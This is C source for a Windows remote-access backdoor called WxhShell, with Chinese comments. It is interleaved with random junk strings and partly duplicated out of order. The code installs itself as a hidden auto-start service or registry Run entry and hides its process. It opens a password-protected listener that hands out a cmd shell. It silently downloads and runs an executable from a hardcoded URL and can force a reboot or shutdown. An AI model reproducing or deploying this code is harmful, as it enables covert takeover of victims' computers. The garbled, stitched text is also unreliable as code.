9 U~|)=+%O HANDLE hProcess; qe uc^+P; PROCESS_BASIC_INFORMATION pbi; 25vq#sS] ip|l3m$ Mi HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); vN6)Szim if(NULL == hInst ) return 0; 7&dF=/:X@ JFRbWQ0 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); | m#" g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); O/l/$pe NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 5 yL"=3&+ C;Kq_/l if (!NtQueryInformationProcess) return 0; k
c L
+ uY&t9L8 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); %zjyZ{= if(!hProcess) return 0; Q2gz\N [L2N[vy; if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ;A?86o'? 9*a"^ CloseHandle(hProcess); I_`$$-| 7U)w\A;~ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); @Bsvk9} if(hProcess==NULL) return 0; G Mg|#DV
6(B[(Af HMODULE hMod; A2nL=9~
char procName[255]; 'V4B{n7h unsigned long cbNeeded; Gbb*p+( xy^z_` if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); KctbNMU]k pQCW6X CloseHandle(hProcess); xc?=fv 7]
>z e if(strstr(procName,"services")) return 1; // 以服务启动 *)T7DN8 ;C5
J^xHI return 0; // 注册表启动 |zp}u (N } kznm$2 b )%I62<N,z // 主模块 nsXyReWka int StartWxhshell(LPSTR lpCmdLine) qD(dAU { Tu=~iQ SOCKET wsl; 5Kkp1K$M BOOL val=TRUE; YZc{\~d int port=0; FQB6`
M struct sockaddr_in door; TdrRg''@ xtd1>| if(wscfg.ws_autoins) Install(); VBg
M7d K^[Dz\ov5 port=atoi(lpCmdLine); 7;ddzxR4 _^NL{R/ if(port<=0) port=wscfg.ws_port; \x~},!l O<+x=>_ WSADATA data; o+T, O+i if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 5J*h7 7HQ|3rt if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; a_Z[@W setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); l7S&s&W @ door.sin_family = AF_INET; u[LsH door.sin_addr.s_addr = inet_addr("127.0.0.1"); hODq&9! door.sin_port = htons(port); Ft 2u&Rtx 2]_fNCNLN if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $&FeR*$|g closesocket(wsl); 8'VcaU7Nh return 1; KqWt4{\8v` } 6$\'dkufQ 2~!+EH
if(listen(wsl,2) == INVALID_SOCKET) { L[}Ak1 A closesocket(wsl); V?-OI> return 1; @l@erCw@ } )C#b83 Wxhshell(wsl); e/y\P&"eI WSACleanup(); Bpdx]5qfK m 3"|$0C~ return 0; h$a%PaVf ivP#qM1*; } /\UFJ e'5sT#T9 l // 以NT服务方式启动 Hge0$6l VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 6e At`L[K. { P~ODd( DWORD status = 0; 94GF8P DWORD specificError = 0xfffffff; 0tp3mYd 7eQc14 serviceStatus.dwServiceType = SERVICE_WIN32; %j2ZQ/z serviceStatus.dwCurrentState = SERVICE_START_PENDING; tF~D!t@ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;
^#&:-4/ serviceStatus.dwWin32ExitCode = 0; l5CFm8% serviceStatus.dwServiceSpecificExitCode = 0; _Rm1-,3 serviceStatus.dwCheckPoint = 0; Ggp. %kS6F serviceStatus.dwWaitHint = 0; (2p<I)t *BAR`+;U hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); K}9 c$C4 if (hServiceStatusHandle==0) return; N9gbj%+ TAKvE=a; status = GetLastError(); s(shgI 3g if (status!=NO_ERROR) @_C?M5v { B0"55g*c serviceStatus.dwCurrentState = SERVICE_STOPPED; 8;1,saA_9 serviceStatus.dwCheckPoint = 0; 5 p! rZ serviceStatus.dwWaitHint = 0; /m(v5v7( serviceStatus.dwWin32ExitCode = status; 2(K@V6j$M serviceStatus.dwServiceSpecificExitCode = specificError; jP"l5 SetServiceStatus(hServiceStatusHandle, &serviceStatus); M5T4{^i return; vC>8:3Zaq } C`r{B.t`GT VVDd39q serviceStatus.dwCurrentState = SERVICE_RUNNING; *_CzCl^
serviceStatus.dwCheckPoint = 0; _"688u'88 serviceStatus.dwWaitHint = 0; We?cRb if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); WHKe\8zWq } GLE"[!s]f e|S_B*1*0 // 处理NT服务事件,比如:启动、停止 n(?BZ'&!O VOID WINAPI NTServiceHandler(DWORD fdwControl) #/LU@+ { !pAb+6~T switch(fdwControl) &_W~d0 { ,AEaW case SERVICE_CONTROL_STOP: ?Oyps7hXx serviceStatus.dwWin32ExitCode = 0; M
sQ>eSk serviceStatus.dwCurrentState = SERVICE_STOPPED; 8q_"aa,` serviceStatus.dwCheckPoint = 0; )H|cri~D serviceStatus.dwWaitHint = 0; gvu1 { vj hh4$k SetServiceStatus(hServiceStatusHandle, &serviceStatus); &$8YW]1M } W~qVZ(G*U return; m*H' Cb case SERVICE_CONTROL_PAUSE: /YHAU5N/} serviceStatus.dwCurrentState = SERVICE_PAUSED; c01i!XS break; O#72h] case SERVICE_CONTROL_CONTINUE: x_$`#m{hL5 serviceStatus.dwCurrentState = SERVICE_RUNNING; }(/\vTn*1 break; ibn(eu<uW case SERVICE_CONTROL_INTERROGATE: ^g
N/ 5 break; M~,N~ N1 }; Td,s"p>Vq SetServiceStatus(hServiceStatusHandle, &serviceStatus); fF]w[lLDv } +
[~)a4# ne9-
c>> // 标准应用程序主函数 UWo*%&J int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) _(:<l
YaY { s|\\"3 iph}!3f // 获取操作系统版本 gi #dSd1\& OsIsNt=GetOsVer(); Q%!Dk0-) GetModuleFileName(NULL,ExeFile,MAX_PATH); (C.<H6]= CWa~~h<r- // 从命令行安装 7^W(e s if(strpbrk(lpCmdLine,"iI")) Install(); b!oj3|9 )18C(V-x // 下载执行文件 \qz! v if(wscfg.ws_downexe) { =:BTv[lv if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) C2C1 @=w WinExec(wscfg.ws_filenam,SW_HIDE); UU*v5& } nZ %%{#T7 zEk/15 if(!OsIsNt) { (z 9M // 如果时win9x,隐藏进程并且设置为注册表启动 \wF-[']N HideProc(); sf"vi i,1A StartWxhshell(lpCmdLine); ;cfPS } y;<F|zIm else )fQ1U if(StartFromService()) WS//0 // 以服务方式启动 __Zex5Y#- StartServiceCtrlDispatcher(DispatchTable); $:RR1.Tv else )kD B*(? // 普通方式启动 otbr8&?- StartWxhshell(lpCmdLine); 7~Z(dTdSG 'P)c'uqd# return 0; WG*),P? } HZqk)sN Mj`g84 +w/B3b D)tL}X$ =========================================== mDx=n.lIz 0<93i .$fSWlM; V1haAP[# 0D Lw r
@}N6U~* " uS5G(} [ 7=/iFv[ #include <stdio.h> f,x;t-o+R #include <string.h> }U ' #include <windows.h> hn~btu9h #include <winsock2.h> !jvl"+_FV #include <winsvc.h> 4n"6<cO5q #include <urlmon.h> (eAz
nTU +NbiUCMX #pragma comment (lib, "Ws2_32.lib") &(lQgi+^! #pragma comment (lib, "urlmon.lib") '{-Ic?F<P yf7|/M #define MAX_USER 100 // 最大客户端连接数 zz!jt
A #define BUF_SOCK 200 // sock buffer HX)]@qL #define KEY_BUFF 255 // 输入 buffer 3"juj' ZZ L@UO>: #define REBOOT 0 // 重启 <<b]v I #define SHUTDOWN 1 // 关机 \d*ts(/a* mFeR~Bi>! #define DEF_PORT 5000 // 监听端口 \t5_V)P XhA tf@n #define REG_LEN 16 // 注册表键长度 M4D @G #define SVC_LEN 80 // NT服务名长度 3-&~jm~" uq;yR[w" // 从dll定义API N6v?Qzvi typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); li,rPUCt typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); *AP"[W typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 2W2T typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); fs?H ^Ua6.RH8 // wxhshell配置信息 bLSc=f& struct WSCFG { ;>L8&m)R5 int ws_port; // 监听端口 {o 2 qY|S char ws_passstr[REG_LEN]; // 口令 f%i%QZP int ws_autoins; // 安装标记, 1=yes 0=no MB7*AA; char ws_regname[REG_LEN]; // 注册表键名 UhrRB char ws_svcname[REG_LEN]; // 服务名 ec`re+1r char ws_svcdisp[SVC_LEN]; // 服务显示名 8\^A;5 char ws_svcdesc[SVC_LEN]; // 服务描述信息
rlGv6)vb char ws_passmsg[SVC_LEN]; // 密码输入提示信息 TQmrL int ws_downexe; // 下载执行标记, 1=yes 0=no d^J)Mhju char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" k}p8"'O char ws_filenam[SVC_LEN]; // 下载后保存的文件名 g8l6bh$} Fe4>G8uuwn }; kiyc ^s 1]eRragm" // default Wxhshell configuration ;-XfbqZ\ struct WSCFG wscfg={DEF_PORT, wMj#.Jh "xuhuanlingzhe", ;kY~-Om 1, i#hFpZ6u "Wxhshell", EwX{i}j_V "Wxhshell", ~D>pu%F "WxhShell Service", oda, "Wrsky Windows CmdShell Service", %T\hL\L? "Please Input Your Password: ", &b`W<PAc?4 1, \ ZE[7Ae "http://www.wrsky.com/wxhshell.exe", PkI+z_ "Wxhshell.exe" E_aBDiyDf }; g_`a_0v :>2wVN&\c // 消息定义模块 {x.0Yh7 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; J-Tiwl char *msg_ws_prompt="\n\r? for help\n\r#>"; ,!b<SQ5M char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Y}v3J(l char *msg_ws_ext="\n\rExit."; y:}qoT_. char *msg_ws_end="\n\rQuit."; I](a 5i char *msg_ws_boot="\n\rReboot..."; |:&6eDlR char *msg_ws_poff="\n\rShutdown..."; r+8D|stS char *msg_ws_down="\n\rSave to "; m;]wKd" V(F9=r<X char *msg_ws_err="\n\rErr!"; a
\1QnCy char *msg_ws_ok="\n\rOK!"; %:d7Ts&?Z 1QG q;6\ char ExeFile[MAX_PATH]; *k}m?;esb int nUser = 0; V7Cnu:0_ HANDLE handles[MAX_USER]; j*G: 8Lg int OsIsNt; DJL.P6 -W 1wKXOy=v0 SERVICE_STATUS serviceStatus; $vf gYl4q SERVICE_STATUS_HANDLE hServiceStatusHandle; HDhISPg {9U!0h-2" // 函数声明 JiaR*3# int Install(void); #mw!_]
int Uninstall(void); p@su:B2Rl int DownloadFile(char *sURL, SOCKET wsh); > 0MP[ int Boot(int flag); o5tCbsHj- void HideProc(void); {uaDpRt int GetOsVer(void); p35=CX`T. int Wxhshell(SOCKET wsl); **Ioy+ void TalkWithClient(void *cs); uLS]=:BT int CmdShell(SOCKET sock); *y?HaU int StartFromService(void); j)mU`b_ int StartWxhshell(LPSTR lpCmdLine); \D? '.Wo% N3|:MMl VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); V|97; VOID WINAPI NTServiceHandler( DWORD fdwControl ); }}=n]_f Ak9{P` // 数据结构和表定义 'F/oR/4, SERVICE_TABLE_ENTRY DispatchTable[] = THp_ dTD { n[iwi {wscfg.ws_svcname, NTServiceMain}, j2MA['{ {NULL, NULL} S} m=|3%y }; ]`&_!T @-!P1]V| // 自我安装 SH{@yS[c! int Install(void) T(D6'm:X { o+E~iCu5 char svExeFile[MAX_PATH]; f=F:Af! HKEY key; cmG27\c RO strcpy(svExeFile,ExeFile); L/tpT?$fi /grTOf& // 如果是win9x系统,修改注册表设为自启动 3U@jw,K!{A if(!OsIsNt) { T UcFx_ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { u?Ffqt9' RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); rFg$7 RegCloseKey(key); ,<rC,4-F< if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `MOw\Z).. RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Ek)drt7cy RegCloseKey(key); q`c!!Lg return 0; ;
j!dbT~5 } hu}$ \ } el9P@r0 } E )_n?>Ar else { g-sNYd%?a 6<];}M_{ // 如果是NT以上系统,安装为系统服务 wXQxZuk[ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); O+}py{ st if (schSCManager!=0) "]S { + `|A/w SC_HANDLE schService = CreateService _re# b? ( [I
*_0 schSCManager, 'Lrn< wscfg.ws_svcname, lmeTW0U@9( wscfg.ws_svcdisp, 7?Wte&C];p SERVICE_ALL_ACCESS, Z}+}X| SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , qIi
\[Ugh SERVICE_AUTO_START, HOP*QX8C% SERVICE_ERROR_NORMAL, f$C{Z9_SX svExeFile, xe!bfzU NULL, :wC\IwG~CE NULL, Y2r}W3F= NULL, <YaT r9%w NULL, -5<[oBL; NULL vjS`;^9 ); ZxF`i>/h if (schService!=0) p) 8S]p] { q+L'h8 CloseServiceHandle(schService); )5}<@Ql CloseServiceHandle(schSCManager); ukiWNF/ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); w2DC5ei' strcat(svExeFile,wscfg.ws_svcname); :21d if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ~>CvZ7K RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); r<vMp'u RegCloseKey(key); {kpF etXt? return 0; b@Oq}^a&o } 4IeCb? } Scrj%h%[ CloseServiceHandle(schSCManager); q1}!O kr"2 } _?~%+Oz/ } /v
8"i^;} V
0Bl6 return 1; -<#)
]um } hF2e-- 4aXIRu%#7 // 自我卸载 r: K1PO int Uninstall(void) sO.MUj; { o "VKAP HKEY key; i7Qb~RW )WqolB if(!OsIsNt) { Q-<]'E#\( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]m+%y+ RegDeleteValue(key,wscfg.ws_regname); qf? "v; RegCloseKey(key); d(q1?{zr4 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { oIhKMQ;jh RegDeleteValue(key,wscfg.ws_regname); hYJzF.DW<$ RegCloseKey(key); U=n7RPw return 0; sYKx3[ V/ } ,L<JG } +mocSx[ } !Z$d<~Mq q else { 8['R D`O `zQuhD 8W SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); fL*7u\m: if (schSCManager!=0) ~o'1PAW7 { :v^/k]S SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); y7HFmGM if (schService!=0) /!5Wd(: { NEq_!!/sF if(DeleteService(schService)!=0) { tguB@,O CloseServiceHandle(schService); h:4(Gm; CloseServiceHandle(schSCManager); .QvD603%5 return 0; @A,8>0+ } DDrR9}k CloseServiceHandle(schService); -xtT,^<B } Dz }i-tw+ CloseServiceHandle(schSCManager); 4"P9z}y=i } e9LX0= } 7b"fpB $TUYxf0q return 1; u^2`$W } !ku}vTe @O#!W]6NT6 // 从指定url下载文件
)@wC6Ij int DownloadFile(char *sURL, SOCKET wsh) Z)rW>I
{ ~~>m HRESULT hr; Hx#YN*\.M char seps[]= "/"; I*rUe#$ char *token; S!?T0c?> char *file; 7By7F:[ b char myURL[MAX_PATH]; u]*7",R
uU char myFILE[MAX_PATH]; 2C
S9v ASXGM0t strcpy(myURL,sURL); L.;b(bFe token=strtok(myURL,seps); SEgw!2H while(token!=NULL) B}"R@;N { =R5W
KX file=token; \[G'cE token=strtok(NULL,seps); E1QJ^]MG. } pBqf+}g4 DGFSD Py[ GetCurrentDirectory(MAX_PATH,myFILE); ZF7@ b/-me strcat(myFILE, "\\"); VEWW[T strcat(myFILE, file); 7
A0?tG send(wsh,myFILE,strlen(myFILE),0); +/B send(wsh,"...",3,0); .tRm1&Qi hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); er3Mvw if(hr==S_OK) %FjUtB return 0; <F3{-f'Rx else 8\{!*?9! return 1; x1:mT[[$ vQ<
~-E } Dw
i-iA_q e'mF1al // 系统电源模块 O*N:A[eW int Boot(int flag) 6mcb'hy { ed'[_T}T3t HANDLE hToken; ;lmg0dtJ TOKEN_PRIVILEGES tkp; *~8F.cx qGX@mo({ if(OsIsNt) { Jt$YSp=!! OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); bidFBldKl LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 3,i j@P tkp.PrivilegeCount = 1; i[z 2'tx4 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; *(x.egORd AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 99OZK if(flag==REBOOT) { xOkdu k] if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) xh;gAh5n return 0; :'DX
M{ } 0Y oKSo else { \]>821r if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 7~2_'YX>: return 0; 3nA^s"#p } 59nRk}^$se } jwwRejNV else { 7 2$S'O%,0 if(flag==REBOOT) { 1XiA if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 7#JnQ|
] return 0; }hy4EJ } [60y.qE else { 5 =;cN9M@ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 8YZ9 return 0; -gGw_w?)( } ]fb@>1
jp } =*fq5v \zU<o~gs return 1; ,OlS>>, } e\~nqKCb w!UF^~ // win9x进程隐藏模块 )i /w:g> void HideProc(void) 7bYwh8 { =?|$}vDO[ Zwq\m.h HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); bEF2-FO if ( hKernel != NULL ) E$lbm>jsb$ { FW[|Zq;} pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); .?:#<=1 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); p+b/k2Q FreeLibrary(hKernel); #;99vwc } e
oE)Mq wHbmK return; `Ku:%~$/ } T=/c0#Q|q gjsks(x // 获取操作系统版本 iUz?mt;k int GetOsVer(void) nHF66,7t { In4VS:dD OSVERSIONINFO winfo; TgJ+:^+0 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); EkV#i
GetVersionEx(&winfo); U
_pPI$ = if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) =zH)R0!eG return 1; oM1C/=8
else ~_0XG0oA return 0; N5W!(h) } ADF<5#I Wlg 1t~1= // 客户端句柄模块 zvGncjMkC int Wxhshell(SOCKET wsl) #e =E { F,as>X# SOCKET wsh; 1
jLQij struct sockaddr_in client; pzt<[; DWORD myID; _x|R`1` >'#vC]@ while(nUser<MAX_USER) P#3J@aRC { N[-$*F,:_ int nSize=sizeof(client); uo?R;fX26 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); HjzAFXRG if(wsh==INVALID_SOCKET) return 1; qsEFf(9G k]AL\)
&W handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Zk~Pq%u if(handles[nUser]==0) {oAD;m` closesocket(wsh); % dtn*NU else qOmL\'8 nUser++; 7[ n
|3 } g?iZ RM WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Gv]94$'J9 ]w,|WZm return 0; vH}VieU } 5GPrZY" S@[NKY // 关闭 socket 8B+C[Q:+' void CloseIt(SOCKET wsh) uEhPO { F <iV;+ closesocket(wsh); ts@w 9| nUser--; 'A3*[e|OS ExitThread(0); ]N\D^`iQ } K}N~KDW R| d" 0&=/ // 客户端请求句柄 Ya~Th)'>q void TalkWithClient(void *cs) Y_C6*T% { ^N^s|c' )l(DtU!E SOCKET wsh=(SOCKET)cs; NZG
^B/ char pwd[SVC_LEN]; |F\fdB}?S: char cmd[KEY_BUFF]; U:@tdH+A7 char chr[1]; jT]R"U/Q int i,j; ?N9Z;_&^. B^]Gv7- while (nUser < MAX_USER) { 'xG{q+jj' Pxkh;:agD if(wscfg.ws_passstr) { 4KHIUW$ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); v.sjWF //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <3ep5` 1 //ZeroMemory(pwd,KEY_BUFF); Id8MXdV i=0; w87$p821 while(i<SVC_LEN) { H}&JrT95 Mcz;`h|EW // 设置超时 cb|hIn\>7 fd_set FdRead; 1:yil9.\* struct timeval TimeOut; #y"LFoJn FD_ZERO(&FdRead); UCj<FN ` FD_SET(wsh,&FdRead); YuHXm3[ TimeOut.tv_sec=8; :}q)]W TimeOut.tv_usec=0; M<=e~';H int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); TtWzjt if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); o:*$G~. k V@y&n1?6 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (+xT5 2 pwd=chr[0]; mBB"e"o if(chr[0]==0xd || chr[0]==0xa) { ;*+H& pwd=0; !M)] 1Y break; uT=5zu } *aFh*-Sj2I i++; (["V( $ } oO7)7$|1 ang~_Ec. // 如果是非法用户,关闭 socket NYKYj`K if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ;gAL_/_ } B7Zi|-F +~:OUR*> send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); XL; WU8> send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !,Cbb } C%ZPWOc_8 while(1) { M+j*5wNy (7&b)"y ZeroMemory(cmd,KEY_BUFF); xh#pw2v7V p/l">d]+ // 自动支持客户端 telnet标准 p)z#%BY56 j=0; oLq N while(j<KEY_BUFF) { '6g-]rE[ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); M$!-B,1BX cmd[j]=chr[0]; j
B1ZF# if(chr[0]==0xa || chr[0]==0xd) { Yi[MoYe/K cmd[j]=0; rf`xY4I\ break; >Y\?v-^~; } OwNo$b]h` j++; @.)[U:N } xzFQ)t& [wJ\.9<Oa // 下载文件 / $s(OFbi# if(strstr(cmd,"http://")) { WCk. K send(wsh,msg_ws_down,strlen(msg_ws_down),0); C1l'< if(DownloadFile(cmd,wsh)) \"L0d1DK) send(wsh,msg_ws_err,strlen(msg_ws_err),0); +T4}wm else Q`;eI
a6U send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P1^|r} } e^x%d[sU else { '.gi@Sr5 $-jj%kS switch(cmd[0]) { DvLwX1(l +7AH|v8 // 帮助 bI(8Um6m case '?': { <$Sl%DoS send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); O.\\)8xA break; 4#:Eq=(W } 8\C][ y // 安装 _ShWCU-~Z case 'i': { <c<!|<x if(Install()) fz8 41 <Y send(wsh,msg_ws_err,strlen(msg_ws_err),0); B~@Gfb>`' else se]&)%p[ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f+1'Ah0'E break; p*T[(\8{n } E="uDHw+ // 卸载 f<|*^+ case 'r': { 3zc;_U2 if(Uninstall()) Jt<J#M<}7 send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5')]Y1J else xsy45az<ip send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); IDpx_ break; > sQ&5-i } L.JL4;U P // 显示 wxhshell 所在路径 \D]9:BNJ case 'p': { x;/dSfv_ char svExeFile[MAX_PATH]; >Y+m54EE strcpy(svExeFile,"\n\r"); gNDMJ^` strcat(svExeFile,ExeFile); L8Z@Dk7Y send(wsh,svExeFile,strlen(svExeFile),0); p-w:l*-` break; yOAC<<Tzus } Mc(|+S@w' // 重启 PRFl%M.H` case 'b': {
3Z`
wU send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 6V@_?a-K if(Boot(REBOOT)) @6aJh< c send(wsh,msg_ws_err,strlen(msg_ws_err),0); <$a-.C5 else { Y}Dk>IG closesocket(wsh); a<E9@ ExitThread(0); P3Vh|<'7 } -yBj7F| break; h^1!8oOYD } ^|hVFM2 // 关机 SkCux case 'd': { pp7
$Q>6 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); [gZR}E if(Boot(SHUTDOWN)) /;[x3}[ send(wsh,msg_ws_err,strlen(msg_ws_err),0); c^puz2 else { &"27U closesocket(wsh); G$QN_h,} ExitThread(0); Ho[]03 } :V@)A/}uk break; hsYE&Np_Q } .=d40m // 获取shell PyK!Cyq case 's': { \IudS{
.?; CmdShell(wsh); BpX` 49 closesocket(wsh); fBz|-I:k
+ ExitThread(0); @0C[o9 break; j+q) } 0*oavY* // 退出 AGjjhbGB case 'x': { loE;q}^ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); esQ`6i CloseIt(wsh); UWK|_RT6SA break; kCoE;)y$ } G K3T w // 离开 f4F%\ " case 'q': { WSv%Rxr8L send(wsh,msg_ws_end,strlen(msg_ws_end),0); $;~YgOVZ5 closesocket(wsh); P|p
X
F~ WSACleanup(); =K|#5p` exit(1); ]l +<- break; n\<7`, } ,S<) ) } s16, *;Z } H8HVmfM #Ak|p#7 ^ // 提示信息 {cO8q
}L if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @3=q9ftm } yJ ljCu)f } Iu5 9W> 8t)gfSG return; 1w7XM0SHcn } %B1)m A; "M\rO!f: // shell模块句柄 _O11SiP] int CmdShell(SOCKET sock) W,H=K##6< { v&d'ABeT STARTUPINFO si; . &`YlK ZeroMemory(&si,sizeof(si)); 1CSGG'J]E si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =PNkzFUo si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; JRZp'Ln PROCESS_INFORMATION ProcessInfo; A=Hv}lv char cmdline[]="cmd"; _5(1T%K) CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); }m%&|:PH return 0; R$A%Zh6 } ^6F, lS _t 11Qi
_T\ // 自身启动模式 :F#^Q%-IS int StartFromService(void) fkImX:|q { s,!vBSn8 typedef struct 5JK'2J& { gyV`]uqG DWORD ExitStatus; -1NR]#P' DWORD PebBaseAddress; }|N88PN DWORD AffinityMask; DHuvHK0# DWORD BasePriority; +RR6gAma}< ULONG UniqueProcessId;
?*r%*CL ULONG InheritedFromUniqueProcessId; _3wK: T{: } PROCESS_BASIC_INFORMATION; GM1.pVb f&$;iE PROCNTQSIP NtQueryInformationProcess; @,;h!vB*= K ;]dZ8 static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; yV(9@lj3; static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; A
#m _w*
Soe2Gq HANDLE hProcess; u^c/1H:6 PROCESS_BASIC_INFORMATION pbi; Z(tO]tQE Ui9;rh$1eU HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); eT5IL(mH if(NULL == hInst ) return 0; I@O9bxR? 02tN=}Cj) g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); {D(l#;,iX2 g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Eyk:pnKJb NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ,_w}\'?L ZqpK}I if (!NtQueryInformationProcess) return 0; UzIE,A '+j;g hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); kTT%<
